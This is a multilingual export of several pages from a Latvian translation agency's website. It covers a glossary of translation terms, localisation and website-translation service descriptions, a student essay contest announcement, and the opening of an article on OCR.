konkrētā valodā konkrētai auditorijai, un pārveidots tā, lai tas būtu saprotams citiem attiecīgajiem vai jauniem tirgiem AVOTVALODA Valoda, kas jātulko citā valodā ĀZIJAS REĢIONA VALODAS Lielākā daļa Āzijas iedzīvotāju runā valodās, kas pieder trīs lielām valodu grupām: 1) altajiešu, kas ir tjurku, mongoļu un mandžūru-tungusu valodas; 2) sinotibetiešu, kas ietver ķīniešu un tibetiešu-birmiešu valodas; un 3) indoeiropiešu valodas, piemēram, indoāriešu, irāņu, slāvu valodas un armēņu valodas. BIZNESA TULKOJUMI Jebkādu biznesa tekstu tulkošana CAT RĪKI CAT rīki, piemēram, Phrase, Trados, Across, u. c. , ir īpaši tulkotājiem izstrādātas datorizētās tulkošanas programmas. Tulkojamais teksts tajās tiek sadalīts tulkojamās vienībās jeb segmentos. Segments ir automātiski noteikts teksta fragments – virsraksts, apakšvirsraksts, teikums, kāda teikuma daļa. CAT rīkā tiek veidota un uzkrāta iepriekš veikto tulkojumu atmiņa, lai pēc tam iepriekš tulkotie segmenti tulkotājam vairs nebūtu jātulko no jauna, un tulkotājs tulkojot tos varētu akceptēt vai noraidīt. CILVĒKRESURSI Organizācijas personāls; cilvēku iespējas DATORIZĒTĀ IESPIEDDARBU SAGATAVOŠANA Datora un specializētas programmatūras izmantošana, lai, apvienojot tekstu un grafiku, izveidotu materiālu, ko var tiražēt DATORIZĒTĀ TULKOŠANA Avota teksta tulkošana mērķa valodā, tulkotājam izmantojot datora programmatūras iespējas un iepriekš uzkrāto tulkojumu datubāzi DAUDZVALODU PAKALPOJUMU SNIEDZĒJS Valodu pakalpojumu sniedzējs, kas nodrošina lokalizācijas vai valodas pakalpojumus vairākās dažādās valodās DIGITĀLĀ MĀRKETINGA SATURA LOKALIZĀCIJA Process, kurā visi globālās mārketinga kampaņas elementi tiek pielāgoti mērķa tirgiem, lai atspoguļotu konkrētā reģiona klientu vajadzības, intereses un kontekstu DOKUMENTU TULKOŠANA Jebkādu dokumentu tulkošana DZIMTĀ VALODA Valoda, kuru cilvēks iemācījies agrā bērnībā DZIMŠANAS APLIECĪBU TULKOŠANA Dzimšanas apliecību tulkošana ar notariālu apliecinājumu ENERĢĒTIKAS TULKOJUMI Jebkādu enerģētikas nozares tekstu tulkošana FARMĀCIJAS NOZARES TULKOJUMI Jebkādu farmācijas nozares tekstu tulkošana FINANŠU TULKOJUMI Jebkādu finanšu tekstu tulkošana FORMATĒŠANA Process, kura izpildes gaitā dokumentam piešķir noteiktu ārējo veidolu: malu un atkāpju lielumu, burtstilu un citus ārējā izskata elementus GOOGLE ADS UN SEO TULKOJUMI Google reklāmu tulkojumi un Meklētājprogrammas optimizācijas tulkojumi INFORMĀCIJAS NEIZPAUŠANAS LĪGUMS Līgums par informācijas neizpaušanu ir juridisks līgums vai līguma daļa starp vismaz divām pusēm, kurā izklāstīti konfidenciāli materiāli, zināšanas vai informācija, ar ko puses vēlas dalīties viena ar otru noteiktos nolūkos, bet vēlas ierobežot piekļuvi tai INSTRUKCIJAS Noteikumu, pamācību kopums kāda uzdevuma izpildei IT TULKOJUMI Jebkādu informācijas tehnoloģiju tekstu tulkošana JURIDISKIE TULKOJUMI Jebkādu juridisko tekstu tulkošana KONFERENČU TULKOŠANA Konferences tulkošana ir saistīta ar mutvārdu komunikāciju: dabiski un tekoši pārtulkojot runātāja teikto no vienas valodas citā, pielāgojot tulkojumu un nododot runātāja intonāciju un pārliecību citai personai. Starptautiskas konferences apmeklē cilvēki no dažādām kultūrām ar atšķirīgu valodu zināšanu līmeni. Tulkotāja darbs ir padarīt cilvēku saziņu iespējamu, nevis tulkojot katru vārdu, ko viņi pasaka, bet gan pārtulkojot to izteiktās idejas KONFIDENCIALITĀTE Informācijas aizsargātība pret lietotājiem, kas mēģina tai piekļūt bez atbilstoša pilnvarojuma KONSEKUTĪVĀ TULKOŠANA Nelielās sanāksmēs, piemēram, darba pusdienās vai izbraukumos, neaizstājama ir secīgā tulkošana, kad tulks noklausās vienā valodā teikto un pēc tam iztulko otrā valodā. Profesionāli, saprotami un viegli uztverami KOREKTŪRA Kļūdu konstatēšana un labošana tipogrāfiska salikuma novilkumā LAULĪBAS APLIECĪBU TULKOŠANA Laulības apliecības tulkošana ar notariālu apliecinājumu LOKALIZĀCIJA Visaptverošs process, kura laikā produktu un pakalpojumu kultūras, netekstuālos un valodas elementus pielāgo attiecīgās valsts tirgum LITERĀRIE TULKOJUMI Jebkādu literāro tekstu tulkošana LĪGUMU TULKOŠANA Jebkādu līgumu kvalitatīva tulkošana MAKETĒŠANA Maketēšana ir neatņemams solis, pirms sākt drukāt materiālu. Maketētājs sagatavo failu drukai, sabalansējot krāsu gammu, izveidojot pārlaides un drukas rāmjus un izdarot citus tehniski nepieciešamos darbus MAŠĪNTULKOŠANA Automātiska tulkošana, ko veic datorsistēmas MĀKSLĪGAIS INTELEKTS (MI) Mākslīgais intelekts ir datorzinātnes nozare, kas nodarbojas ar datorprogrammu un datorsistēmu izstrādi, kas spēj veikt uzdevumus, kas parasti prasīja cilvēka intelektuālās spējas. Mākslīgais intelekts pēta un mēģina radīt datorprogrammas, kas var domāt, mācīties, analizēt, secināt un pieņemt lēmumus līdzīgi cilvēkam, tostarp, tulkot no latviešu valodas angļu un citās valodās. MĀJASLAPU TULKOŠANA Jebkādu mājaslapu tulkošana MĀRKETINGA TULKOJUMI Jebkādu mārketinga tekstu tulkošana MEDICĪNAS TULKOJUMI Jebkādu medicīnas tekstu tulkošana MEMSOURCE Mākoņkrātuves bāzēta komerciāla tulkošanas pārvaldības sistēma un datorizētās tulkošanas rīks MĒRĶVALODA Valoda, uz kuru jātulko MIRŠANAS APLIECĪBU TULKOŠANA Miršanas apliecību tulkošana ar notariālu apliecinājumu MUTISKĀ TULKOŠANA Vienā valodā runāta teksta tulkošana citā valodā mutvārdos NOTARIĀLIE TULKOJUMI Tulkojumi ar notariālu apliecinājumu PAKALPOJUMU LĪMEŅA VIENOŠANĀS Pakalpojumu līmeņa vienošanās ir saistības starp pakalpojumu sniedzēju un klientu. Pakalpojuma sniedzējs un pakalpojuma lietotājs vienojas par konkrētiem pakalpojuma aspektiem - kvalitāti, pieejamību, atbildību PASTARPINĀTĀ VALODA Pivot valoda, dažkārt saukta arī par tilta valodu, ir mākslīga vai dabiska valoda, ko izmanto kā starp valodu tulkošanai starp daudzām dažādām valodām PĒCREDIĢĒŠANA Specifisks rediģēšanas process, kurā pārbauda, precizē un labo mašīntulkojuma tekstu tieši pēc mašīntulkojuma PRAKSE Prakse studiju laikā ir nozīmīga studiju programmas sastāvdaļa. Prakses mērķis ir, lai indivīds praktiski pielietotu zināšanas, kas iegūtas studiju gados PROGRAMMATŪRAS LOKALIZĀCIJA Programmatūras lokalizācija ir programmatūras pielāgošanas process gan galalietotāja kultūrai, gan valodai, sākot ar mērījumu standartiem un beidzot ar video un grafisko dizainu RADOŠO TEKSTU SAGATAVOŠANA Radošo tekstu sagatavošana un radošā rakstīšana ir teksta gatavošana, kas iziet ārpus parastās profesionālās, žurnālistikas, akadēmiskās vai tehniskās literatūras robežām un ko parasti raksturo uzsvars uz stāstījuma meistarību, tēlu attīstību un tēlainās valodas lietojumu vai dažādām dzejas un poētikas tradīcijām RAKSTISKĀ TULKOŠANA Vienā valodā rakstīta teksta tulkošana citā valodā rakstveidā REDIĢĒŠANA Dokumentu, tekstu vai datņu satura, to izvietojuma vai attēlošanas formas mainīšana REDAKTORS Speciālists kas sagatavo tulkojumus laišanai klajā — tos rediģē, pārbauda, izlabo SDL TRADOS Tulkošanas pārvaldības programmatūras pakalpojumu, satura pārvaldības pakalpojumu un valodu pakalpojumu sniedzējs SEO TEKSTI Meklētājprogrammas optimizācijas teksti SINHRONĀ TULKOŠANA Ja nepieciešams nodrošināt tulkojumu lielam cilvēku skaitam, nereti vairākās valodu kombinācijās vienlaicīgi, visbiežāk tiek izmantota sinhronā tulkošana – runātais tiek tulkots no kabīnes ar pāris sekunžu nobīdi SPECIALIZĒTIE TULKOJUMI Nozaru terminoloģijas ievērošana ir ļoti būtiska, tieši tāpēc mūsu tulkotājiem ir ne tikai filologa izglītība un iespēja izmantot mūsdienu tehnoloģiskos sasniegumus, bet arī zināšanas medicīnā, jurisprudencē, inženiertehniskajās zinātnēs un citās specifiskās jomās, kas palīdz sasniegt vēlamo rezultātu SUBTITRĒŠANA Rakstveida tulkojuma pievienošana runātiem tekstiem TEHNISKĀ TULKOŠANA Tehniskā tulkošana ir specializēts tulkošanas veids, kam ir īpaša specifika, proti, tehniskā tulkošana pieprasa maksimāli precīzi atveidot mērķa valodā dažādus tehnoloģiskos risinājumus un procesus, prasmīgi veikt šauri specializētu terminu tulkošanu un ievērot atbilstošu izklāstījuma stilu TEKSTU GRAFISKĀ APSTRĀDE (DTP) Bukletiem, skrejlapām vai jebkuram citam vizuālam, digitālam vai drukātam dokumentam, kuram nepieciešama tulkošana, visticamāk, būs nepieciešama arī grafiskā apstrāde. Dizainera pamatpienākums ir atveidot tulkotā dokumenta oriģinālo dizainu, tajā ievietojot tulkoto tekstu – tā kā dažādās valodās vārdu garums un vārdu skaits atšķiras, noformējums ir jāpielāgo mērķa valodas tekstam TIESAS SĒŽU TULKOŠANA Tiesas sēžu tulkošanu izmanto tad, kad cilvēkiem, kuri runā atšķirīgās valodās, jāsazinās tiesā vai tamlīdzīgās situācijās. Katrai tiesību sistēmai ir sava unikālā procesuālā kārtība un juridiskie jēdzieni, tiesu tulkiem labi jāpārzina juridiskā terminoloģija. Tiesu tulku uzdevums ir nodrošināt saziņu starp cilvēkiem, kuri runā atšķirīgās valodās TIEŠSAISTES PASĀKUMU RĪKOŠANA Dažādu pasākumu rīkošana tiešsaistē TIKAI TULKOŠANA Tikai teksta tulkošana TULKOŠANA UN REDIĢĒŠANA Teksta tulkošana un arī rediģēšana TULKOŠANA, REDIĢĒŠANA UN KOREKTŪRA Teksta tulkošana, rediģēšana un arī korektūra TULKOŠANAS ATMIŅA Tulkojumu atmiņa ir datubāze, kurā tiek glabāti teikumi, rindkopas vai teksta fragmenti, kas iepriekš ir tulkoti TULKOŠANAS CENAS Tulkojuma cena tiek aprēķināta, pamatojoties uz vārdu skaitu dokumentā avota valodā . Cena par katru konkrēto projektu tiek noteikta iepriekš TŪRISMA TULKOJUMI Jebkādu tūrisma tekstu tulkošana TRANSKRIPCIJA Valodas vienību skanējuma grafisks attēlojums ar noteiktu zīmju sistēmu VADLĪNIJAS Galvenais, nozīmīgākais virziens, veids , ieteikumi VALODAS KVALITĀTES NODROŠINĀJUMS Nodrošināt visaugstāko valodas pielietojuma kvalitāti VALODAS ZINĀŠANU AUDITS Svešvalodas zināšanu audits ir valodas zināšanu līmeņa noteikšana saskaņā ar Eiropas kopīgajām pamatnostādnēm valodu apguvei VALODU MĀCĪBAS Jebkādu valodu apgūšanas iespējas VALODU PAKALPOJUMA SNIEDZĒJS Vienas valodas pakalpojuma sniedzējs sniedz tulkošanas un lingvistiskos pakalpojumus konkrētā valodu kombinācijā VALODU PĀRIS Divu valodu kombinācija ZINĀTNISKIE TULKOJUMI Jebkādu zinātnisko tekstu tulkošana --- > Emme ainoastaan tarjoa käännöksiä, vaan varmistamme myös, että lokalisoidut tuotteet ja ohjelmistot toimivat hyvin. 👍 - Published: 2023-03-16 - Modified: 2024-08-22 - URL: https://skrivanek.lv/pakalpojumi/lokalizacija/ - Translation Priorities: Optional VERKKOSIVUSTOT Verkkosivustojen lokalisointi edellyttää olemassa olevan verkkosivuston kääntämistä ja mukauttamista kohdekielen kulttuuriseen kontekstiin. Tiimimme auttaa sinua tavoittamaan kumppaneita ympäri maailmaa ja markkinoimaan tuotteitasi tai palveluitasi kansainvälisesti mukautetun verkkosivuston avulla. Lue lisää OHJELMISTOT Ohjelmiston lokalisointi sallii ihmisten käyttää ohjelmistoa omalla äidinkielellään. Voit esimerkiksi lokalisoida valikot ja komennot sekä kääntää kaikki dokumentaatiot noudattamaan kohdemaan lainsäädäntöä ja standardeja. Lokalisoidut ohjelmistot toimivat samalla tavoin kuin alkuperäinen ohjelmisto ja ovat täysin yhteensopivia sille tarkoitetun laitteen kanssa. KAAVIOT JA TEKSTIKUVAT Jotkin tekstit, esimerkiksi käyttöohjeet, voivat sisältää kaavioita ja kuvia, jotka on lokalisoitava, jotta tulos ymmärretään yksiselitteisesti. Voimme luoda kaaviot ja kuvat uudestaan siten, että niihin sisältyvä teksti käännetään kohdekielelle ja mukautetaan sille sopivaksi. VERKKO-OPPIMISSISÄLLÖN JA RATKAISUJEN LOKALISOINTI Ihmiset ympäri maailmaa haluavat yhä useammin hankkia uusia tietoja ja taitoja verkossa. Siksi suosittelemme lokalisoimaan oppimissisältöäsi tai sähköisiä ratkaisuja ainakin joihinkin maailman tai alueesi suosituimmista kielistä. DIGITAALISEN MARKKINOINTISISÄLLÖN LOKALISOINTI Digitaalinen markkinointi, mukaan lukien verkkosivut ja harkitut verkkomediakampanjat, vangitsee asiakkaidesi sydämet ja mielet viesteillä virtuaaliympäristössä, kun taas sosiaalisten verkostojen avulla he voivat rakentaa läheisempiä suhteita keskenään. Tuotteesi ainutlaatuisuus voi kadota pelkistetyssä klassisessa käännöksessä: silloin markkinointisisällön lokalisointi tulee avuksesi. GOOGLE ADS JA SEO KÄÄNNÖKSET Sivustosi kääntäminen useammalle kielelle lisää sen kilpailuetua merkittävästi. Asiantuntijamme kääntävät sivustosi viimeisimpien SEO-periaatteiden mukaisesti, jotta se näkyy mahdollisimman korkealla orgaanisissa hauissa ja sisältää avainsanoja Google Ads -mainontaan, jotta mahdolliset asiakkaasi löytävät sinut helposti. ETSITKÖ LOKALISOINTIPALVELUITA TAI KONSULTOINTIA? Valmistamme sinulle räätälöidyn ratkaisun ja kysymme sinulta kiinnostuksen kohteistasi. Lähetä tiedustelu USEIN KYSYTYT KYSYMYKSET Se voi olla missä tahansa sähköisessä muodossa – voimme käsitellä useita muotoja. Jos asiakirjasi ei ole saatavilla sähköisenä, lähetä se meille kuvana. Oikein mielellämme! Skrivanekilla on laaja kokemus ja taito erilaisten verkkosivujen ja hallintajärjestelmien kääntämisestä ja lokalisoinnista. Varmistamme aina ammattimaisen lähestymistavan ja löydämme sopivimman ratkaisun tilanteeseesi varmistaaksemme parhaan tuloksen kyseisissä kieliyhdistelmissä. Kyllä, usein jopa luomme yhteistyökumppaneillemme tiimejä kielen asiantuntijoista, jotta palvelut ovat aina samojen kääntäjien tai tulkkien tuottamia. Otamme mielellämme palautetta vastaan ja pyydämme samaa kielen ammattilaista hoitamaan palvelusi. Vakioasiakkaillamme on myös omat projektipäälliköt. TARJOAMME KIELIRATKAISUJA ERI ALOILLE YLI 300 KIELIYHDISTELMÄLLÄ Englannin kieli Espanjan kieli Italian kieli Kreikan kieli Liettuan kieli Norjan kieli Puolan kieli Ranskan kieli Ruotsin kieli Saksan kieli Suomen kieli Tanskan kieli Tsekin kieli Ukrainan kieli Venäjän kieli Viron kieli Vakuutusala Rakentaminen HR Talous ja pankki IT ja pelaaminen Maatsätalous Laki Metsätalous Tekniikka ja rautatiet Lääketiede ja kliiniset tutkimukset Valmistus Mainonta ja markkinointi Kauppa Matkailu Hallinto- ja kuntalaitokset LUOTETTAVUUS, NOPEUS JA PALVELUIDEN LAATU KRKA, d. d. Skrivanekin työntekijät ovat avuliaita, mukautuvia ja ymmärtävät lähestymistapamme lääkealan käännöstyön erityistarpeisiin ja eri kieliyhdistelmien käännöksiin. Tilaukset toteutetaan korkealuokkaisesti korkeimman ammatillisen ja eettisen pätevyyden mukaisesti ja asetettuja määräaikoja noudattaen.  Adidas Baltic Skrivanekin työntekijät ovat avuliaita ja ymmärtävät lähestymistapamme Baltian kielten käännöstehtävien erityispiirteisiin. Adidas Baltic suosittelee tämän yrityksen tarjoamien palveluiden käyttöä muille yrityksille.  Sandoz d. d. Suosittelemme Skrivanek Balticia luotettavana kumppanina mihin tahansa laajempaan projektiin, joka vaatii ammattitaitoisia kielipalveluita.  YLI 25 VUOTTA MARKKINOILLA! Meillä on laaja kokemus eri aihepiirien tekstien kääntämisestä. 0+ Eri kieliyhdistelmää 0+ milj. Käännettyä sanaa vuonna 2023 0+ Kielten asiantuntijaa 0 ISO-sertifikaattia --- > Eseju konkurss bakalaura un maģistra studiju programmas studentiem. Eseja jāiesniedz latviešu vai latgaliešu valodā. Vērtīgas balvas. - Published: 2023-03-13 - Modified: 2023-05-08 - URL: https://skrivanek.lv/blogs/eseju-konkurss-augstskolu-studentiem/ - Translation Priorities: Optional ESEJU KONKURSS “VALODA – MANA IESPĒJA” LATVIJAS AUGSTSKOLU STUDENTIEM Lai veicinātu studentu interesi par dzimtās valodas un latgaliešu rakstu valodas nozīmi viņu dzīvē un karjerā, kā arī rosinātu studentu interesi par šo valodu bagātību un vietu Eiropas valodu saimē un vairotu latviešu un latgaliešu valodas prestižu, valodu pakalpojumu uzņēmums “Skrivanek Baltic” izsludināja eseju konkursu Latvijas augstskolu bakalaura un maģistra studiju programmas studentiem – “Valoda – mana iespēja”. Konkursam tika iesūtītas gandrīz 50 esejas no 13 Latvijas augstskolām, piecas no tām bija latgaliešu valodā. Paši aktīvākie eseju rakstītāji bija Latvijas Universitātes studenti. Konkursa žūrijas pārstāvji atzina, ka gandrīz visu dalībnieku sniegums brīvās esejas rakstīšanā bija ļoti augsts – konkursantu darbi bija pārdomāti, viegli lasāmi, izteiksmes līdzekļiem bagāti, gramatiski korekti. Vairāki darbi īpaši izceļami to radošuma un autoru iztēles dēļ. Īpaši priecē fakts, ka piecas esejas bija iesūtītas latgaliešu valodā, kas liecina, ka šī valoda nav aizmirsta, bet tiek kopta un mīlēta jauniešu vidū. Konkursa žūrija, kuru veidoja “Skrivanek Baltic” latviešu un latgaliešu valodas eksperti, vērtēja iesūtītos darbus četrās kategorijās – atbilstība tematam, radošums un oriģinalitāte, valodas plūdums un stilistika, pareizrakstība un interpunkcija. Par konkursa uzvarētāju un galvenās balvas, planšetdatora “Apple iPad 10. 9”, ieguvēju kļuva Alise Zita Zeidaka no Latvijas Universitātes. Bet lasītāju balsojums noteica simpātiju balvas ieguvēju – Elīnu Štenceli no Rīgas Tehniskās universitātes, kura saņēma “Skrivanek Baltic” direktora Vasilija Ragačeviča pasniegto naudas balvu 200 eiro apmērā. Konkursa nolikums Konkursa informatīvais plakāts Dalībnieks Augstskola Renāte Rodionova Baltijas Starptautiskā akadēmija Lasīt eseju Liāna Belova Biznesa, mākslas un tehnoloģiju augstskola "RISEBA" Lasīt eseju Agnese Puisāne Daugavpils Universitāte Lasīt eseju Elīza Koļesņikova Daugavpils Universitāte Lasīt eseju Laima Grišule Daugavpils Universitāte Lasīt eseju Lāsma Vucāne Daugavpils Universitāte Lasīt eseju Poļina Maļuhina Daugavpils Universitāte Lasīt eseju Sarmīte Ruskule Daugavpils Universitāte Lasīt eseju Sintija Onužāne Jāzepa Vītola Latvijas Mūzikas akadēmija Lasīt eseju Anna Šmite Latvijas Biozinātņu un tehnoloģiju universitāte Lasīt eseju Evita Pīlēģe Latvijas Biozinātņu un tehnoloģiju universitāte Lasīt eseju Ilze Stīpniece Latvijas Biozinātņu un tehnoloģiju universitāte Lasīt eseju Kaspars Stolipins Latvijas Biozinātņu un tehnoloģiju universitāte Lasīt eseju Karolīna Krauze Latvijas Kultūras akadēmija Lasīt eseju Krišs Grunte Latvijas Kultūras akadēmija Lasīt eseju Agnese Prikaza Latvijas Sporta pedagoģijas akadēmija Lasīt eseju Dilans Ķēniņš Latvijas Sporta pedagoģijas akadēmija Lasīt eseju Valērija Bule Latvijas Sporta pedagoģijas akadēmija Lasīt eseju Alise Zita Zeidaka Latvijas Universitāte Lasīt eseju Arīna Baranova Latvijas Universitāte Lasīt eseju Edmunds Dariāns Krops Latvijas Universitāte Lasīt eseju Elena Vaska Latvijas Universitāte Lasīt eseju Katrīna Buša Latvijas Universitāte Lasīt eseju Laura Laizāne Latvijas Universitāte Lasīt eseju Maija Grosa Latvijas Universitāte Lasīt eseju Paula Sonita Deruma Latvijas Universitāte Lasīt eseju Violeta Lisovska Latvijas Universitāte Lasīt eseju Zane Bondare Latvijas Universitāte Lasīt eseju Dārta Andersone Liepājas Universitāte Lasīt eseju Elizabete Kļava Liepājas Universitāte Lasīt eseju Ulrika Ūpe Liepājas Universitāte Lasīt eseju Evika Muizniece Rēzeknes Tehnoloģiju akadēmija Lasīt eseju Signija Igaune Rēzeknes Tehnoloģiju akadēmija Lasīt eseju Aleksandra Gailīte Rīgas Stradiņa universitāte Lasīt eseju Jekaterina Lapicka Rīgas Stradiņa universitāte Lasīt eseju Jeļizaveta Merkulova Rīgas Stradiņa universitāte Lasīt eseju Sintija Strazdiņa Rīgas Stradiņa universitāte Lasīt eseju Ance Lepse Rīgas Tehniskā universitāte Lasīt eseju Elīna Štencele Rīgas Tehniskā universitāte Lasīt eseju Jeļisaveta Kuļikova Rīgas Tehniskā universitāte Lasīt eseju Klinta Madara Greiliha Rīgas Tehniskā universitāte Lasīt eseju Dāvids Rubens Rīgas Tehniskā universitāte Lasīt eseju Liega Krasovska Rīgas Tehniskā universitāte Lasīt eseju Māra Laganovska Ventspils Augstskola Lasīt eseju --- > Tarjoamme optimaalisia lokalisointiratkaisuja, jotta verkkosivustosi vastaa alueesi tai markkinasi tarpeita ja paikallisia erityispiirteitä. - Published: 2023-02-15 - Modified: 2024-08-22 - URL: https://skrivanek.lv/pakalpojumi/lokalizacija/majas-lapas-tulkosana/ - Translation Priorities: Optional MITÄ ON KOTISIVUN LOKALISOINTI? Verkkosivun kääntäminen ja lokalisointi on kattava prosessi, jossa tuotetta tai palvelua esittelevä teksti mukautetaan maan tai alueen markkinoille sopivaksi. Siinä otetaan huomioon kohderyhmän kielelliset ja kulttuuriset ominaispiirteet. Sisällön lokalisointi edellyttää syvällisiä tietoja toimialalta sekä paikallisen kulttuurin tuntemusta. Ammattikääntäjät ja sisällön lokalisoinnin asiantuntijat auttavat arvioimaan ja neuvomaan, missä määrin laatimasi teksti vastaa mahdollisia kohderyhmiä – kuulostaako se riittävän sujuvalta, välittääkö se pääsanoman, onko se selkeä ja ymmärrettävä vai aiheuttaako se negatiivisia tai moniselitteisiä mielleyhtymiä. Vaikka nykyään käytetään erilaisia automaattisia käännössovelluksia, joita voidaan lisätä kotisivuille, voi niiden avulla tehtyjen käännösten oikeellisuus jättää toivomisen varaa. Konekäännetty teksti ei usein ole sujuvaa tai luonnollista kieltä äidinkielenään puhuvalle. Lokalisoinnissa on kääntämisen lisäksi muitakin tekijöitä, jotka on otettava huomioon. VIISI TÄRKEINTÄ ASIAA, JOTKA OTETAAN HUOMIOON KOTISIVUN LOKALISOINNISSA: kieli ja alue ─ sanasto ja käsitteet muodostetaan tiedon välittämiseksi tuotteesta tai palvelusta paikallisille asiakkaille tarkasti ja luonnollisella tavalla; kulttuuri ─ päivämäärissä ja kellonajoissa sekä mittayksiköissä ja lyhenteissä käytetään eri maissa vakiintuneita muotoja; huomioidaan paikalliset perinteet, merkkipäivät, kansalliset vapaapäivät jne. ostotapahtuman turvallisuus ─ käytetään asianomaisen maan valuuttaa ja maksuvaihtoehtoja, osoitteet syötetään alueen tapojen mukaisesti; viestintä ja luottamus ─ lisätään paikalliset puhelinnumerot, äidinkielinen asiakastuki, varmistetaan kuluttajan oikeuksia suojaavien paikallisten lakien noudattaminen; navigointi ja tiedonhaku ─ noudatetaan käyttäjäkokemuksen parhaita käytäntöjä, jotta verkkosivuston vierailijat löytävät haluamansa tiedot nopeasti ja helposti. HAKUKONEOPTIMOINNIN ELI SEO:N AVULLA KÄÄNTÄMINEN SEO-käännökset ovat tärkeitä etenkin siksi, että hakukoneet mukauttavat näytettäviä tuloksia käyttäjän haussa käyttämän sijainnin ja kielen mukaan. Joten: jos verkkosivun sisältö käännetään, mutta SEO jätetään huomioimatta, sivu löytyy epätodennäköisemmin hakukoneen avulla. SEO-käännös sisältää avainsanojen analyysin, joka käyttää yleisintä paikallista hakukonetta. Useissa maissa se on Google, mutta esimerkiksi venäjänkielisille asiakkaille Yandex on merkittävämpi, kun taas Kiinassa käytetään laajalti Baidua. Tällaisen analyysin avulla on mahdollista löytää aiheeseen sopivat avainsanat. Ne voidaan upottaa käännettyihin teksteihin luonnollisesti siten, että käyttäjät löytävät tiensä etsimilleen sivulle, mutta sisältö on kuitenkin johdonmukaista ja teksti helppolukuista. Lisäksi on tärkeää kääntää otsikot käyttämällä valittuja avainsanoja varmistaen samalla, että otsikot ovat sopivan pituisia ja kiinnittävät kohderyhmän huomion. On myös tärkeää kääntää metakuvaukset eli HTML-määritteet, jotka kertovat lyhyesti verkkosivun sisällöstä. Myös näiden elementtien täytyy sisältää asiaankuuluvia avainsanoja ja kiinnittää lukijan huomio. WPML-TYÖKALU HELPOTTAA KOTISIVUN LOKALISOINTIA Valtuutettuna kumppanina tarjoamme kotisivujen lokalisointipalvelua WPML-sovelluksen avulla. WPML:n käyttö nopeuttaa ja yksinkertaistaa verkkosivuston käännösprosessia. Se on erityisen hyödyllinen, kun verkkosivusta luodaan monikielinen versio. WPML on yksi suosituimmista ja parhaista WordPress-sovelluksista, joita käytetään kotisivujen kaikentyyppisen sisällön kääntämiseen. Sen käyttäjäystävällinen ja intuitiivinen käyttöliittymä säästää aikaa, kun luot kotisivustasi erikielisiä versioita. Tämän sovelluksen etuja ovat helppo asennus ja nopea lokalisointi optimoidun työnkulun ansiosta sekä käännetyn sisällön automaattinen tuonti verkkosivustolle. WPML:n käyttö auttaa toteuttamaan myös erittäin suuria projekteja ja pitämään lokalisointikustannukset kohtuullisella tasolla. MIKSI TEHDÄ YHTEISTYÖTÄ JUURI SKRIVANEKIN KANSSA? Skrivanekilla on yli 25 vuoden kokemus käännöspalveluiden tarjoamisesta kymmenillä kieliyhdistelmillä. Meillä on perusteelliset tiedot eri toimialoilta ja kyky tarjota käännösratkaisuja myös monimutkaisiin projekteihin, mukaan lukien paljon tuotteita tarjoavien verkkokauppojen käännökset sekä SEO-käännökset. Teemme kaikkemme varmistaaksemme, että tarjoamamme käännöspalvelut ja myös muu toimintamme vastaavat nykyisiä laatustandardeja ja EU-direktiivejä. Olimme yksi ensimmäisiä käännöstoimistoja, joka otti käyttöönsä ISO 9001 -standardin mukaisen laadunhallintajärjestelmän. Käytämme ISO 14001 -standardin vaatimusten mukaista ympäristöjärjestelmää ja ISO 27001 -sertifioitua tietoturvallisuuden hallintajärjestelmää. EN 17100 -käännöspalvelusertifikaatti asettaa tiukat vaatimukset käännösprosessin kaikille osa-alueille, mukaan lukien laadunvarmistukselle. Jos haluat lisätietoja kotisivujen lokalisoinnista, ota meihin yhteyttä, niin kerromme mielellämme tarkemmin prosessista ja vaihtoehdoista. ISO-sertifikaattien takaamaa laatua ja luottamuksellisuuttaProjektipäällikkömme puhuvat latviaa, venäjää, englantia, saksaa ja puola 99 % asiakkaista saa hintatarjouksen alle 15 minuutiss PYYDÄ HINTATARJOUS / LÄHETÄ KYSYMYS Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Asiakas *YksityishenkilöYritys Nimi ja sukunimi. *Puhelin Lisää Poista Nimi ja sukunimi. *Puhelin Lisää Poista Yrityksen nimi *Puhelin Lisää Poista Yrityksen nimi *Puhelin Lisää Poista Sähköposti *Kieliyhdistelmä Lisää Poista Sähköposti *Kieliyhdistelmä Lisää Poista ViestisiAsiakirjan lataus, enintään 20 MB, jos asiakirja ylittää rajan, kirjoita se viestiin, niin otamme sinuun yhteyttä Click or drag files to this area to upload. You can upload up to 10 files. Miten kuulit meistä? Miten kuulit meistä? Olen Skrivanekin asiakasGooglen hakukoneestaYstäviltä/tutuiltaFacebookTwitterLinkedInInstagramUlkomainoksestaMessuillaPainetusta mainoksestaSkrivanekin myyntiedustaja otti minuun yhteyttä *Hyväksyn henkilötietojeni käsittelyn SIA Skrivanek Balticin yksityisyyspolitiikassa kuvatulla tavalla. Saada --- > Sadarbība ar Skrivanek garantē, ka dokumenti tiks pareizi nolasīti un pēc tam pārtulkoti vēlamajā svešvalodā. - Published: 2023-02-14 - Modified: 2025-07-07 - URL: https://skrivanek.lv/ocr-optiska-rakstzimju-atpazisana/ - Translation Priorities: Optional OCR – KO TAS NOZĪMĒ PRAKSĒ? OCR (Optical Character Recognition) ir optiskā rakstzīmju atpazīšanas tehnoloģija, ko plaši izmanto dažādās nozarēs, tostarp arī tulkošanā. Daudzi dokumenti, ar kuriem tulkošanas biroju darbinieki ikdienā strādā, tiek saņemti skenētā vai JPG, PDF datņu veidā – formātos, kas ir piemēroti informācijas izplatīšanai, bet ne rediģēšanai, tostarp tulkošanai. Ja nebūtu OCR tehnoloģijas, darbiniekiem būtu jāpatērē daudz laika un pūļu, lai pārrakstītu, piemēram, sliktas kvalitātes skenētu dokumentu tekstu. OCR programmatūra vai iebūvēta funkcionalitāte, vienkāršiem vārdiem runājot, atpazīst rakstzīmes nerediģējamos failos, pārvēršot tos rediģējamā un darbam piemērotā tekstā. OCR programmatūra var atpazīt tekstu arī attēlos un pārvērst teksta dokumentā nerediģējamas tabulas, zīmogu nospiedumus, formulas vai pat visu PDF datni. Rezultātā PDF datne tiek pārveidota par atvērtu, rediģējamu teksta datni, no kuras, piemēram, var viegli izkopēt konkrētas teksta daļas, dokumentu papildināt vai veidot divvalodu dokumentu. KĀ MĒS VARAM IZMANTOT OCR PRAKSĒ? Ir divi veidi, kā strādāt ar tehnoloģiju un izmantot OCR funkcionalitāti: Instalējot OCR lietojumprogrammatūru datorā; izmantojot ierīci ar jau iebūvētu OCR funkcionalitāti. Internetā varam atrast arī bezmaksas attēlu datņu pārveidotājus, kas izmanto OCR tehnoloģiju, taču speciālisti šo risinājumu iesaka reti – par to detalizētāka 